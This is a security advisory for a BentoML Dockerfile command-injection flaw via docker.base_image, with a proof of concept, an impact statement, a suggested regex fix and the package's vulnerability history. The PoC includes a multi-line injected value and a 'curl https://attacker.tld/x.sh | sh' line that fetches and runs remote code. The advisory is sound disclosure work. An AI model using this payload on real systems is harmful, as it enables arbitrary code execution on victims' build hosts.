High

BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)

  • Disclosed: 11.05.2026
  • Updated: 11.10.2026 12:19

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

jinja
FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

python
base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

yaml
docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

python
from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

  • __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.build_include(*file_paths).
  • bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) bentoml < 1.4.39 1.4.39

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
Python (PyPI)
Package
bentoml
Disclosed
11.05.2026
Updated
11.10.2026 12:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-189 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-78f9-r8mh-4xm2 - CC BY 4.0

Vulnerability history: bentoml

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (17) in the archive
Total entries
17
First → latest
04.2024 07.2026
Without a fix
5
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 10
  • Medium 2

Disclosures per year

  1. 2024: 1
  2. 2025: 7
  3. 2026: 9
Severity:
  1. BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043) this entry
    High · 8.8 CVE-2026-44345 < 1.4.39 1.4.39
  2. High · 8.8 CVE-2026-35044 < 1.4.38 1.4.38
  3. High · 7.8 CVE-2026-35043 < 1.4.38 1.4.38
  4. High · 7.4 CVE-2026-24123 < 1.4.34 1.4.34
  5. Critical · 9.9 CVE-2025-54381 >= 1.4.0, < 1.4.19 1.4.19
  6. Critical · 9.8 CVE-2025-27520 >= 1.3.4, < 1.4.3 1.4.3
  7. High · 7.5 CVE-2024-9056 <= 1.4.5 no fix
  8. Critical · 9.8 CVE-2024-9070 <= 1.4.5 no fix
  9. High · 7.5 ghsa-hh3j-9m59-p8vc <= 1.3.9 no fix
  10. Critical · 9.8 CVE-2024-2912 < 1.2.5 1.2.5

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